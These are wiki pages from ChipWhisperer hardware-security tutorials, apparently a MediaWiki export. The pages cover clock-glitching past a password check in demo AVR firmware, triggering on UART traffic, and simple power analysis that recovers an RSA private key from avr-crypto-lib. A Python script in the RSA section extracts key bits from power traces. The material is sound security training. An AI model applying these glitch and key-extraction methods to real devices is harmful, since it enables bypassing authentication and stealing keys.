<li>Press the ''Capture 1'' button a few times. You'll note it records the output of the device, which may not be generating successful glitches (NB: the &quot;offset&quot; and &quot;width&quot; recorded in the table may be wrong when using the Capture 1 button, as the glitch explorer is not recording values from the main GUI correctly. This is a bug in the display only, the correct values are being sent to the device).</li><br />
<li><p>Using arrow keys, nudge the ''Glitch Offset (fine adjust)'' up and down. Try performing a ''Capture 1'' to see if you are able to achieve a reliable glitch. In this example setting the fine adjust to 44 resulted in a very reliable glitch:</p><br />
<p>[[File:ge_examplebasic2.png|image]]</p><br />
<p>You might want to try seeing if there is an upper limit to this setting, and putting it mid-way between the lower and upper limits for generating a glitch.</p></li></ol><br />
<br />
Congrats! You've now performed some tuning to achieve a reliable glitch on the target device. The next step is to glitch something more fun - like a password check.<br />
<br />
== Glitching a Password Check ==<br />
<br />
This assumes you now have a set of parameters which caused a reliable glitch. We'll now glitch past a password check, initially using our trigger as a crutch. The function of interest compares a received password to some known password. The <code>glitch3()</code> function looks as follows:<br />
<br />
<pre>void glitch3(void)<br />
{<br />
char inp[16];<br />
char c = 'A';<br />
unsigned char cnt = 0;<br />
uart_puts(&quot;Password:&quot;);<br />
<br />
while((c != '\n') &amp; (cnt &lt; 16)){<br />
c = getch();<br />
inp[cnt] = c;<br />
cnt++;<br />
}<br />
<br />
char passwd[] = &quot;touch&quot;;<br />
char passok = 1;<br />
<br />
trigger_high();<br />
trigger_low();<br />
<br />
//Simple test - doesn't check for too-long password!<br />
for(cnt = 0; cnt &lt; 5; cnt++){<br />
if (inp[cnt] != passwd[cnt]){<br />
passok = 0;<br />
}<br />
}<br />
<br />
if (!passok){<br />
uart_puts(&quot;Denied\n&quot;);<br />
} else {<br />
uart_puts(&quot;Welcome\n&quot;);<br />
}<br />
}</pre><br />
The following assumes you have already completed the previous steps:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Close the glitch explorer.</li><br />
<li>Modify the file <code>glitchexample.c</code> to call <code>glitch3()</code> instead of <code>glitch1()</code>, which is to say simply change the main function called from <code>main()</code> to <code>glitch3()</code>.</li><br />
<li>Run <code>make</code> in the folder <code>chipwhisperer\hardware\victims\firmware\glitch-simple</code>.</li><br />
<li>Program the target device with your <code>.hex</code> file.</li><br />
<li>On the ''Target Settings'' tab, clear the ''Output Format'' field. That is remove the <code>$GLITCH$</code> text, as we are no longer using the glitch explorer. If you don't do this, you will not see any output of the device on the terminal emulator.</li><br />
<li>Open the terminal emulator, and connect to it again (if you closed it).</li><br />
<li><p>Reset the device, it should prompt you for a password. The correct password is <code>touch</code>, try both correct and incorrect passwords. The program as designed loops after a password try to prompt you again. You should see both correct and incorrect responses:</p><br />
<p>[[File:password_normal.png|image]]</p></li><br />
<li>On the ''Scope Settings'' tab, adjust the ''Timeout(s)'' to a larger value such as 20. We need a longer timeout to work with the serial terminal.</li><br />
<li><p>Let's try a glitch insertion! Perform the following:</p><br />
<blockquote><ol style="list-style-type: lower-alpha;"><br />
<li>Press the ''Capture 1'' button. This will reset the target and arm the glitch.</li><br />
<li>Before the timeout, enter a wrong password such as <code>test</code> in the terminal and hit enter.</li><br />
<li>See if you can get the wrong password accepted. If not, let's use the Glitch Explorer to automate the parameter adjustments.</li></ol><br />
</blockquote></li><br />
<li><p>Switching to the ''Auxiliary Settings'' tab, adjust the delay on the reset such that you have a ''150 mS'' delay. This will mean once the device resets there is a delay while it prints the startup message.</p><br />
<p>[[File:aux_delay150ms.png|image]]</p></li><br />
<li><p>Switch to the ''Target Settings'' tab:</p><br />
<blockquote><ol style="list-style-type: lower-alpha;"><br />
<li>In the ''Go Command'' field, put the bad password such as <code>test\n</code>.</li><br />
<li>In the ''Output Format'' field, put <code>$GLITCH$</code> to route the output to the glitch explorer.</li></ol><br />
</blockquote></li><br />
<li>Open the ''Glitch Explorer'', and press ''Capture 1''. You should see the ''Denied'' message come across.</li><br />
<li>Generate a script to modify the 'offset' parameter in the glitch generator. You can always dump the scope parameters with ''scope'' at the command line in the ChipWhisperer-Capture to see all the fields.</li><br />
<li>Set the number of traces on the ''General Settings'' tab to 200.</li><br />
<li>On the main GUI, in the ''Scope Settings'' tab, ensure that you have the number of repeats on the ''Glitch Module'' set to 1. We will start with a single clock cycle glitched.</li><br />
<li><p>Press ''Capture Multi''. Monitor the glitch outputs, you may see some errors or a successful glitch. Note that sometimes the errors are useful - here is an example where the glitched code actually dumped the password:</p><br />
<blockquote><p>[[File:password_glitch_dump.png|image]]</p></blockquote><br />
<p>More likely you might see a &quot;Welcome&quot; message indicating the password check was glitched:</p><br />
<blockquote><p>[[File:password_glitch_success.png|image]]</p></blockquote></li><br />
<li><p>If the previous step isn't successful, increase the &quot;repeat&quot; count on the ''Glitch Module'' section of the ''Scope Settings'' tab, and try again. In this example I actually needed a repeat count of &quot;3&quot; to get the successful &quot;Welcome&quot; message printed above.</p><br />
<p>You can also increase the repeat count in the glitch explorer, which simply tries the same settings multiple times. You will likely find that the successful glitch does not have 100% success rate, so using a repeat count of 2 or 3 is helpful to increase your chances of success.</p></li></ol><br />
<br />
== Glitching Onward ==<br />
<br />
This basic tutorial has introduced you to glitch attacks. They are a powerful tool for bypassing authentication in embedded hardware devices. There are many ways to expand your knowledge with additional practice, such as:<br />
<br />
* Use manual glitches to try simply glitching past the prompt in <code>glitch3()</code>.<br />
* Download some example source code (bootloaders, login prompts, etc) and port them to the AVR. See how you can glitch past security checks.<br />
* Use one of the IO triggers discussed in [[Tutorial_A1_Synchronization_to_Communication_Lines]].<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_A1_Synchronization_to_Communication_Lines&diff=3493Tutorial A1 Synchronization to Communication Lines2018-05-01T18:48:25Z<p>Fheubach: </p>
<hr />
<div>One of the first requirements of attacking real devices will be to synchronize to communications from the device itself.<br />
<br />
== Using ChipWhisperer-Lite Hardware ==<br />
<br />
The ChipWhisperer-Lite does not currently have hardware triggers for I2C/SPI/UART. This is something which may be added in a future firmware release.<br />
<br />
Instead, you can use the [[#Using External Hardware Tools]] method.<br />
<br />
== Using ChipWhisperer-Capture Rev2 Hardware ==<br />
<br />
The ChipWhisperer-Capture Rev2 includes an arbitrary digital pattern trigger. The ChipWhisperer-Capture software provides an example of using this with a UART data line, to trigger on specific UART data.<br />
<br />
The following is based on the [[Tutorial A2 Introduction to Glitch Attacks (including Glitch Explorer)]] tutorial, where you want to call a glitch when the <code>glitch1()</code> routine happens. You can use this method to trigger both glitches or side-channel power analysis measurements.<br />
<br />
We'll use an automatic digital pattern trigger, instead of the Trigger line. This will detect when the DUT sends the <code>A</code> character indicating the infinite loop is going to happen.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>Switch the ''Trigger Module'' to ''Digital Pattern Matching'':</p><br />
<p>[[File:glitchexample-iotrigger1.png|image]]</p></li><br />
<li><p>Setup the system to monitor both TX &amp; RX lines, using an AND logic. The lines normally idle high, thus the AND combination allows you to trigger on either sent or received data:</p><br />
<p>[[File:glitchexample-iotrigger2.png|image]]</p></li><br />
<li><p>Under the ''Digital Pattern Trigger Module'', set the Baud rate to 38400. Set the ''Trigger Character'' to <code>A</code>:</p><br />
<p>[[File:glitchexample-iotrigger3.png|image]]</p></li></ol><br />
<br />
When the glitch sends an <code>A</code>, the glitch will trigger. If you want to check the trigger is occurring, you can use the normal analog capture. To do so follow these steps:<br />
<br />
<ol start="4" style="list-style-type: decimal;"><br />
<li><p>Set the gain setting to ''30'':</p><br />
<p>[[File:glitchexample-iotrigger-analog1.png|image]]</p></li><br />
<li><p>Set the trigger mode to ''rising edge'':</p><br />
<p>[[File:glitchexample-iotrigger-analog2.png|image]]</p></li><br />
<li><p>Set the ADC clock source to ''CLKGEN x4 via DCM'', and ensure the ''DCM Locked'' checkbox indicates the DCM is locked, along with the ADC frequency being ''29.5 MHz''. Hit the ''Reset ADC DCM'' button if this is not the case:</p><br />
<p>[[File:glitchexample-iotrigger-analog3.png|image]]</p></li></ol><br />
<br />
Finally - we can check both the triggering and the glitches. To check the triggers our occurring:<br />
<br />
<ol start="7" style="list-style-type: decimal;"><br />
<li><p>Hit the ''Capture 1'' box. If you have configured the automatic reset, it should send an <code>A</code> causing the trigger to occur. If the system is working the ADC will capture data, If the trigger is NOT working you will instead see a message printed about ''Timeout in OpenADC capture(), trigger FORCED'' in the ''Debug Logging'' tab:</p><br />
<p>[[File:glitchexample-iotrigger-analog3.png|image]]</p></li><br />
<li>The glitch trigger will occur whenever the trigger conditions are met now.</li></ol><br />
<br />
== Using External Hardware Tools ==<br />
<br />
The triggers built into the ChipWhisperer hardware are considerably more basic than those available in normal bench test equipment. This means one of the best methods to achieve advanced triggering is by using standard bench hardware. Examples of suitable hardware are:<br />
<br />
* [http://teledynelecroy.com/logicstudio/ Teledyne Lecroy Logic Studio], a $900 logic analyzer with hardware trigger out for detection of I2C, SPI, or UART traffic.<br />
* Oscilloscope with I2C/Serial/SPI trigger option and trigger out capability.<br />
* Custom FPGA design to look for specific pattern of data.<br />
<br />
Simply connect this &quot;Trigger Out&quot; to one of the IO lines on the ChipWhisperer, and specify that IO line as the trigger event.<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B11_Breaking_RSA&diff=3492Tutorial B11 Breaking RSA2018-05-01T18:47:48Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = B11: Breaking RSA<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware =<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
== RSA Attack Theory ==<br />
We won't go into what RSA is, see the [[wikipedia:RSA_(cryptosystem)|RSA Wikipedia]] article for a quick background. What we really care about is the following pieces of sudocode from that article used in decrypting a message:<br />
<br />
<syntaxhighlight lang="C"><br />
/**<br />
* Decrypt<br />
*<br />
* @param {c} int / bigInt: the 'message' to be decoded (encoded with RSA.encrypt())<br />
* @param {d} int / bigInt: d value returned from RSA.generate() aka private key<br />
* @param {n} int / bigInt: n value returned from RSA.generate() aka public key (part I)<br />
* @returns {bigInt} decrypted message<br />
*/<br />
RSA.decrypt = function(c, d, n){<br />
return bigInt(c).modPow(d, n); <br />
};<br />
</syntaxhighlight><br />
<br />
The most critical piece of information is that value ''d''. It contains the private key, which if leaked would mean a compromise of the entire system. So let's assume we can monitor a target device while it decrypts any message (we don't even care what the message is). Our objective is to recover d.<br />
<br />
Let's consider our actual target code, which will be the RSA implementation in avr-crypto-lib. This has been copied over to be part of the ChipWhisperer repository, and you can see the implementation [https://github.com/newaetech/chipwhisperer/blob/master/hardware/victims/firmware/crypto/avrcryptolib/rsa/rsa_basic.c#L163|in rsa_basic.c of rsa_dec()]. The function in question looks like this:<br />
<br />
<syntaxhighlight lang="c"><br />
uint8_t rsa_dec(bigint_t* data, const rsa_privatekey_t* key){<br />
if(key->n == 1){<br />
bigint_expmod_u(data, data, &(key->components[0]), &key->modulus);<br />
return 0;<br />
}<br />
if(key->n == 5){<br />
if (rsa_dec_crt_mono(data, key)){<br />
return 3;<br />
}<br />
return 0;<br />
}<br />
if(key->n<8 || (key->n-5)%3 != 0){<br />
return 1;<br />
}<br />
//rsa_dec_crt_multi(data, key, (key->n-5)/3);<br />
return 2;<br />
}<br />
</syntaxhighlight><br />
<br />
We'll consider the case where ''key->n == 5'', so we have the ''rsa_dec_crt_mono()'' to attack. You can see that function [https://github.com/newaetech/chipwhisperer/blob/master/hardware/victims/firmware/crypto/avrcryptolib/rsa/rsa_basic.c#L53|at Line 53 of that same file]. I've removed all the debug code in the following so you can better see the program flow:<br />
<br />
<syntaxhighlight lang="c"><br />
uint8_t rsa_dec_crt_mono(bigint_t* data, const rsa_privatekey_t* key){<br />
bigint_t m1, m2;<br />
m1.wordv = malloc((key->components[0].length_B /* + 1 */) * sizeof(bigint_word_t));<br />
m2.wordv = malloc((key->components[1].length_B /* + 1 */) * sizeof(bigint_word_t));<br />
if(!m1.wordv || !m2.wordv){<br />
//Out of memory error<br />
free(m1.wordv);<br />
free(m2.wordv);<br />
return 1;<br />
}<br />
bigint_expmod_u(&m1, data, &(key->components[2]), &(key->components[0]));<br />
bigint_expmod_u(&m2, data, &(key->components[3]), &(key->components[1]));<br />
bigint_sub_s(&m1, &m1, &m2);<br />
while(BIGINT_NEG_MASK & m1.info){<br />
bigint_add_s(&m1, &m1, &(key->components[0]));<br />
}<br />
<br />
bigint_reduce(&m1, &(key->components[0]));<br />
bigint_mul_u(data, &m1, &(key->components[4]));<br />
bigint_reduce(data, &(key->components[0]));<br />
bigint_mul_u(data, data, &(key->components[1]));<br />
bigint_add_u(data, data, &m2);<br />
free(m2.wordv);<br />
free(m1.wordv);<br />
return 0;<br />
}<br />
</syntaxhighlight><br />
<br />
<br />
Note all the calls to <code>bigint_expmod_u()</code> with the private key material. If we could attack that function, all would be lost. These functions are elsewhere - it's in the [https://github.com/newaetech/chipwhisperer/blob/master/hardware/victims/firmware/crypto/avrcryptolib/bigint/bigint.c#L812 bigint.c file at Line 812]. Again we can see the source code here:<br />
<br />
<syntaxhighlight lang="c"><br />
oid bigint_expmod_u(bigint_t* dest, const bigint_t* a, const bigint_t* exp, const bigint_t* r){<br />
if(a->length_B==0 || r->length_B==0){<br />
return;<br />
}<br />
<br />
bigint_t res, base;<br />
bigint_word_t t, base_b[MAX(a->length_B,r->length_B)], res_b[r->length_B*2];<br />
uint16_t i;<br />
uint8_t j;<br />
res.wordv = res_b;<br />
base.wordv = base_b;<br />
bigint_copy(&base, a);<br />
bigint_reduce(&base, r);<br />
res.wordv[0]=1;<br />
res.length_B=1;<br />
res.info = 0;<br />
bigint_adjust(&res);<br />
if(exp->length_B == 0){<br />
bigint_copy(dest, &res);<br />
return;<br />
}<br />
uint8_t flag = 0;<br />
t=exp->wordv[exp->length_B - 1];<br />
for(i=exp->length_B; i > 0; --i){<br />
t = exp->wordv[i - 1];<br />
for(j=BIGINT_WORD_SIZE; j > 0; --j){<br />
if(!flag){<br />
if(t & (1<<(BIGINT_WORD_SIZE-1))){<br />
flag = 1;<br />
}<br />
}<br />
if(flag){<br />
bigint_square(&res, &res);<br />
bigint_reduce(&res, r);<br />
if(t & (1<<(BIGINT_WORD_SIZE-1))){<br />
bigint_mul_u(&res, &res, &base);<br />
bigint_reduce(&res, r);<br />
}<br />
}<br />
t<<=1;<br />
}<br />
}<br />
<br />
SET_POS(&res);<br />
bigint_copy(dest, &res);<br />
}<br />
</syntaxhighlight><br />
<br />
Within that file, the part is the loop at the end. This is actually going through and doing the required ''a**exp % r '' function. If you look closely into that loop, you can see there is a variable <code>t</code>, which is set to the value <code>t = exp->wordv[i - 1];</code>. After each run through the loop it is shifted left one. That <code>t</code> variable contains the private key, and the reason it is shifted left is the following piece of code is checking if the MSB is '0' or '1':<br />
<br />
<syntaxhighlight lang="c"><br />
bigint_square(&res, &res);<br />
bigint_reduce(&res, r);<br />
if(t & (1<<(BIGINT_WORD_SIZE-1))){<br />
bigint_mul_u(&res, &res, &base);<br />
bigint_reduce(&res, r);<br />
}<br />
</syntaxhighlight><br />
<br />
What does this mean? While there is data-dependent code execution! If we could determine the program flow, we could simply '''read the private key off one bit at a time'''. This will be our attack on RSA that we perform in this tutorial.<br />
<br />
== Hardware Setup ==<br />
<br />
The hardware setup is as in previous tutorials. The following will use the XMEGA example target, allowing you to complete this tutorial on the ChipWhisperer-Lite, the ChipWhisprer-Lite 2-Part Version target, or the UFO Board with the XMEGA target board.<br />
<br />
You will only need the MEASURE input for performing power analysis, we will not be using the GLITCH output.<br />
<br />
== Building Example ==<br />
<br />
The example code is present in <code>hardware\victims\firmware\simpleserial-rsa</code>. You can run the standard make command with your applicable platform:<br />
<br />
make PLATFORM=CW303<br />
<br />
Where the CW303 is the XMEGA target on the ChipWhisperer-Lite / UFO target. Note an existing binary is present in the repository, if using a release you can simply use that existing .hex-file.<br />
<br />
=== Firmware Description ===<br />
<br />
The example firmware file (<code>simpleserial-rsa.c</code>) pulls in a RSA implementation from avr-crypto-lib.<br />
<br />
The main firmware file defines two functions:<br />
<br />
simpleserial_addcmd('t', 0, real_dec);<br />
simpleserial_addcmd('p', 16, get_pt);<br />
<br />
The <code>real_dec</code> function performs a real RSA decryption. The input plaintext and key are fixed, and loaded internally in the software.<br />
<br />
<syntaxhighlight lang="c"><br />
/* Perform a real RSA decryption, be aware this is VERY SLOW on AVR/XMEGA. At 7.37MHz using the default<br />
1024 byte key it takes about 687 seconds (over 10 mins). */<br />
uint8_t real_dec(uint8_t * pt)<br />
{<br />
/* Load encrypted message */<br />
load_bigint_from_os(&cp, ENCRYPTED, sizeof(ENCRYPTED));<br />
<br />
//Do an encryption on constant data<br />
trigger_high();<br />
if (rsa_dec(&cp, &priv_key)){<br />
putch('F');<br />
}<br />
trigger_low();<br />
return 0;<br />
}<br />
</syntaxhighlight><br />
<br />
The VERY slow encryption can be seen by simply sending a <code>t</code> command. You will see a series of dots printed to the console as the RSA algorithm is running. Instead we will use the second function which performs a much smaller operation on a 16-byte key. The exact same code is used, only it runs on a MUCH smaller key that can be easily captured. The end of the tutorial will discuss how you could apply this to the full algorithm.<br />
<br />
== Finding SPA Leakage ==<br />
<br />
We'll now get into experimenting with the SPA leakage. To do so we'll use the "SPA Setup" script, then make a few modifications.<br />
<br />
<br />
The basic steps to connect to the ChipWhisperer device are described in [[Tutorial_B1_Building_a_SimpleSerial_Project]]. They are repeated here as well, however see [[Tutorial_B1_Building_a_SimpleSerial_Project]] for pictures &amp; mode details.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Start ChipWhisperer-Capture</li><br />
<li>Under the ''Python Console'' tab, find the ''connect_cwlite_simpleserial.py'' script and double-click.</li><br />
<li>Check there are no errors on the connection.</li><br />
<li>Under the ''Python Console'' tab, find the ''setup_cwlite_xmega.py'' script and double-click.</li><br />
<li>Both the Target &amp; Scope should switch to ''CON'' and be green circles.</li><br />
</ol><br />
<br />
The remaining instructions are now specific to the RSA tutorial:<br />
<br />
<ol><br />
<li><br />
If you haven't yet, program the <code>simpleserial-rsa</code> as appropriate. If using the XMEGA target on the ChipWhisperer-Lite/UFO board, this would be called <code>victims/firmware/simpleserial-rsa/simpleserial-rsa-CW303.hex</code>:<br><br />
[[File:B11_Programming.png|300px]]<br />
</li><br />
<br><br />
<li><br />
Under the Target Settings tab, leave only the "Go Command", and delete the other commands (Load Key and Output Format). The RSA demo does not support sending a key, and instead will use the plaintext as a fake-key.<br />
<br><br />
[[File:B11_plaintext_setting.png|400px]]<br />
</li><br />
<br><br />
<li><br />
Change the CLKGEN to be CLKGEN x1 via DCM<br />
<br><br />
[[File:B11_clkgenx1.png|400px]]<br />
</li><br />
<br><br />
<li><br />
Change the length of the trigger to be 24000 samples:<br />
<br><br />
[[File:B11_settriglen.png|400px]]<br />
</li><br />
<br><br />
<li><br />
Rather than do this manually - you can also run the following commands either in the script, or in the command line:<br />
<syntaxhighlight lang="python"><br />
target.key_cmd = ""<br />
target.output_cmd = ""<br />
scope.clock.adc_src = "clkgen_x1"<br />
scope.adc.samples = 24000<br />
</syntaxhighlight><br />
</li><br />
<li><br />
If you are using Capture V3.5.2 or later you will have support for the length of the trigger output being high reported back to you. If you run capture-1 for example you'll see the trigger was high for 177381 cycles:<br><br />
[[File:B11_trigger_active.png|400px]]<br />
</li><br />
<br><br />
<li><br />
This is way too long! You won't be able to capture the entire trace in your 24000 length sample buffer. Instead we'll make the demo even shorter - in our case looking at the source code you can see there is a "flag" which is set high only AFTER the first 1 is received.<br />
<br><br />
Thus change (a) the plaintext to be FIXED (by default it will be random), and then (b) change the input plaintext to be all 00's (<code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</code>):<br />
<br><br />
[[File:B11_acqsetting.png|400px]]<br />
</li><br />
<br><br />
<li><br />
We'll only be able to change the LAST TWO bytes, everything else will be too slow. So change the input plaintext to <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00</code> and you can see the power trace change drastically, as below:<br />
<br><br />
[[File:B11_RSA_example8000.png|600px]]<br />
<br />
</li><br />
<br><br />
<li><br />
Finally, let's flip another bit. Change the input plaintext to <code> 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 10</code>, such that bit #4 in the final bit is set HIGH. We can plot the two power traces on top of each other, and you see that they are differing at a specific point in time:<br />
<br><br />
[[File:B11_RSA_bit4diff.png|600px]]<br />
<br><br />
Walking back from the right, you can see this almost directly matches bit numbering for those last two bytes:<br />
<br><br />
[[File:B11_RSA_example8010_annotated.png|600px]]<br><br />
<br />
With a bit of setup done, we can now perform a few captures.<br />
</li><br />
</ol><br />
<br />
== Acquiring Example Data ==<br />
<br />
Assuming you have a working example, the next step is the easiest. We will record a single project with the following data:<br />
<br />
* 2x traces with secret key of <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00</code><br />
* 2x traces with secret key of <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 40</code><br />
* 2x traces with secret key of <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB E2</code><br />
* 2x traces with secret key of <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB E3</code><br />
<br />
We record 2x traces for each sequence to provide us with a 'reference' trace and another 'test' trace (in case we want to confirm a template match is working without using the exact same trace).<br />
<br />
The third trace with the <code>AB E2</code> key will be the most interesting, as we will use that to demonstrate a working attack. To acquire the traces required in the following section, perform the following:<br />
<br />
<ol><br />
<li><br />
Set the number of traces per capture to 2:<br><br />
[[File:B11_traces2.png]]<br />
</li><br />
<li><br />
Save the project file as rsa_test_2bytes.cwp .<br />
</li><br />
<li><br />
Set the fixed plaintext to <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00</code>, press "Capture M".<br />
</li><br />
<li><br />
Set the fixed plaintext to <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 40</code>, press "Capture M".<br />
</li><br />
<li><br />
Set the fixed plaintext to <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB E2</code>, press "Capture M".<br />
</li><br />
<li><br />
Set the fixed plaintext to <code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB E3</code>, press "Capture M".<br />
</li><br />
<li><br />
Save the project.<br />
</li><br />
<li><br />
Use the trace manager to check the acquisitions are as expected:<br><br />
[[File:B11_tracemanager.png]]<br />
</li><br />
</ol><br />
<br />
== Automating Attack ==<br />
<br />
The final step is to automate this attack. There are a few ways to do this - we'll demonstrate a basic method, that you can extend to do a complete attack. In this example we're going to use a repeatable sequence, and look for the delay between this sequence. If we see a larger delay we know a square-multiply has occurred, otherwise it was only a square.<br />
<br />
We'll simply define a "reference" sequence, and look for this sequence in the rest of the power trace. The following will be done in regular old Python, so start up your favorite Python editor to finish off the tutorial!<br />
<br />
Our objectives are to do the following:<br />
<br />
# Load the trace file.<br />
# Find a suitable reference pattern.<br />
# Using the reference pattern, find the timing information and break the RSA power trace.<br />
<br />
=== Loading the Trace ===<br />
<br />
Loading the trace can be done with the ChipWhisperer software. Let's first do a few steps to load the data, as follows:<br />
<br />
<syntaxhighlight lang="python"><br />
from chipwhisperer.common.api.CWCoreAPI import CWCoreAPI<br />
from matplotlib.pylab import *<br />
import numpy as np<br />
<br />
cwapi = CWCoreAPI()<br />
cwapi.openProject(r'c:\examplelocation\rsa_test.cwp')<br />
<br />
tm = cwapi.project().traceManager()<br />
ntraces = tm.numTraces()<br />
<br />
#Reference trace<br />
trace_ref = tm.getTrace(0)<br />
<br />
plot(trace_ref)<br />
show()<br />
</syntaxhighlight><br />
<br />
This should plot the example trace which might look something like this:<br />
<br />
[[File:B11_plotreftrace.png|400px]]<br />
<br />
=== Plotting a Reference ===<br />
<br />
So what's a good reference location? This is a little arbitrary, we will just define it as a suitable-sounding piece of information. You could get a reference pattern with something like the following:<br />
<br />
<syntaxhighlight lang="python"><br />
start = 3600<br />
rsa_ref_pattern = trace_ref[start:(start+500)]<br />
</syntaxhighlight><br />
<br />
<br />
Finally, let's compare the reference plot. <br />
<br />
<syntaxhighlight lang="python"><br />
from chipwhisperer.common.api.CWCoreAPI import CWCoreAPI<br />
from matplotlib.pylab import *<br />
import numpy as np<br />
<br />
cwapi = CWCoreAPI()<br />
cwapi.openProject(r'c:\examplelocation\rsa_test.cwp')<br />
<br />
tm = cwapi.project().traceManager()<br />
ntraces = tm.numTraces()<br />
<br />
#Reference trace<br />
trace_ref = tm.getTrace(0)<br />
<br />
#plot(trace_ref)<br />
#show()<br />
<br />
#The target trace we will attack<br />
target_trace_number = 3<br />
<br />
start = 3600<br />
rsa_one = trace_ref[start:(start+500)]<br />
<br />
diffs = []<br />
<br />
for i in range(0, 23499):<br />
<br />
diff = tm.getTrace(target_trace_number)[i:(i+len(rsa_one))] - rsa_one <br />
diffs.append(np.sum(abs(diff)))<br />
<br />
plot(diffs)<br />
show()<br />
</syntaxhighlight><br />
<br />
The result should be a difference plot. Note the "difference" falls close to zero at a number of times. Depending on which trace you compare this with the exact pattern might vary, but you should see something roughly like the following:<br />
<br />
[[File:B11_diff_plot.png|400px]]<br />
<br />
== Automating the Attack ==<br />
<br />
The last step is almost the easiest. We'll now count the timing difference between locations we find the template. If we see a longer delay, we know that the system performed a square+multiply, instead of just a square.<br />
<br />
You could find the location where it falls below some number (say 10) in a variety of ways. Let's do something like this:<br />
<br />
<syntaxhighlight lang="python"><br />
last_t = -1<br />
for t,d in enumerate(diffs):<br />
<br />
if d < 10: <br />
if last_t > 0:<br />
delta = t-last_t<br />
print delta<br />
last_t = t<br />
</syntaxhighlight><br />
<br />
Which should give you an output like the following (specific numbers will vary):<br />
<br />
1855<br />
1275<br />
1275<br />
1275<br />
1275<br />
1275<br />
1275<br />
1286<br />
1275<br />
1275<br />
1275<br />
1528<br />
1275<br />
1275<br />
1275<br />
<br />
<br />
Not there is a pretty long delay in the first run through, but later runs have roughly a constant time. There is three possible delays used in later bits:<br />
<br />
* 1275 - The standard delay, indicating a square only ('0' in key-bit).<br />
* 1286 - The standard delay with a little extra since it has finished processing an 8-bit chunk ('0' in key-bit still).<br />
* 1528 - A much longer delay resulting from a square+multiply.<br />
<br />
We can recover the complete key by simply looking at the delay value. We will arbitrarily choose a delay of longer than 1500 cycles indicating that a '1' has occurred, meaning we can recover the complete key using something like the following piece of code:<br />
<br />
<syntaxhighlight lang='python'><br />
recovered_key = 0x0000<br />
bitnum = 17<br />
<br />
last_t = -1<br />
for t,d in enumerate(diffs):<br />
<br />
if d < 10: <br />
bitnum -= 1<br />
if last_t > 0:<br />
delta = t-last_t<br />
<br />
print delta<br />
<br />
if delta > 1300:<br />
recovered_key |= 1<<bitnum<br />
<br />
<br />
last_t = t<br />
<br />
print("Key = %04x"%recovered_key)<br />
</syntaxhighlight><br />
<br />
Note the following problems with this code:<br />
<br />
* Requires you to specify bit-length.<br />
* Does not determine if last bit is a '1' (as has nothing after the last bit to compare to).<br />
<br />
You can try to extend the above code by (1) counting the number of matches of the template, and (2) attempting to template the processing of the '1' bit instead, and directly determining where a '1' processing is occurring. This may require to to experiment with the location of the reference template.<br />
<br />
The following shows a complete attack script which should recover the 'AB E2' key (but will fail with the AB E3 key):<br />
<br />
<syntaxhighlight lang='python'><br />
from chipwhisperer.common.api.CWCoreAPI import CWCoreAPI<br />
from matplotlib.pylab import *<br />
import numpy as np<br />
<br />
cwapi = CWCoreAPI()<br />
cwapi.openProject(r'c:\users\colin\chipwhisperer_projects\tmp\rsa_test_16byte_80.cwp')<br />
<br />
tm = cwapi.project().traceManager()<br />
ntraces = tm.numTraces()<br />
<br />
#Reference trace<br />
trace_ref = tm.getTrace(0)<br />
<br />
#plot(trace_ref)<br />
<br />
#The target trace we will attack<br />
#If following tutorial:<br />
#0/1 = 80 00<br />
#2/3 = 81 40<br />
#4/5 = AB E2<br />
#6/7 = AB E3 (this won't work as we don't detect the last 1)<br />
target_trace_number = 4<br />
<br />
start = 3600<br />
rsa_one = trace_ref[start:(start+500)]<br />
<br />
diffs = []<br />
<br />
for i in range(0, 23499):<br />
<br />
diff = tm.getTrace(target_trace_number)[i:(i+len(rsa_one))] - rsa_one <br />
diffs.append(np.sum(abs(diff)))<br />
#plot(diffs)<br />
<br />
recovered_key = 0x0000<br />
bitnum = 17<br />
<br />
last_t = -1<br />
for t,d in enumerate(diffs):<br />
<br />
if d < 10: <br />
bitnum -= 1<br />
if last_t > 0:<br />
delta = t-last_t<br />
<br />
print delta<br />
<br />
if delta > 1300:<br />
recovered_key |= 1<<bitnum<br />
<br />
<br />
last_t = t<br />
<br />
print("Key = %04x"%recovered_key)<br />
<br />
</syntaxhighlight><br />
<br />
== Extending the Tutorial ==<br />
<br />
The previous tutorial is a basic attack on the core RSA algorithm. There are several extensions of it you can try. As mentioned you can improve the automatic key recover algorithm.<br />
<br />
You can also try performing this attack on longer key lengths -- this is made much easier with the ChipWhisperer-Pro, as it can use "streaming mode" to recover an extremely long key, or even capture the entire RSA algorithm.<br />
<br />
The ChipWhisperer-Lite & Pro both have a "downsample" capability to fit a longer capture into your buffer. You may need an external low-pass filter in some cases, as downsampling below the speed of the device clock means you might lose synchronization after the code-dependent delay section runs.<br />
<br />
The ChipWhisperer-Pro has a unique analog trigger feature. This can also be used to break the RSA algorithm by simply performing the pattern match in real-time, and measuring the time delay of trigger locations. This is demonstrated in the next section.<br />
<br />
=== Use of SAD Trigger in ChipWhisperer-Pro ===<br />
<br />
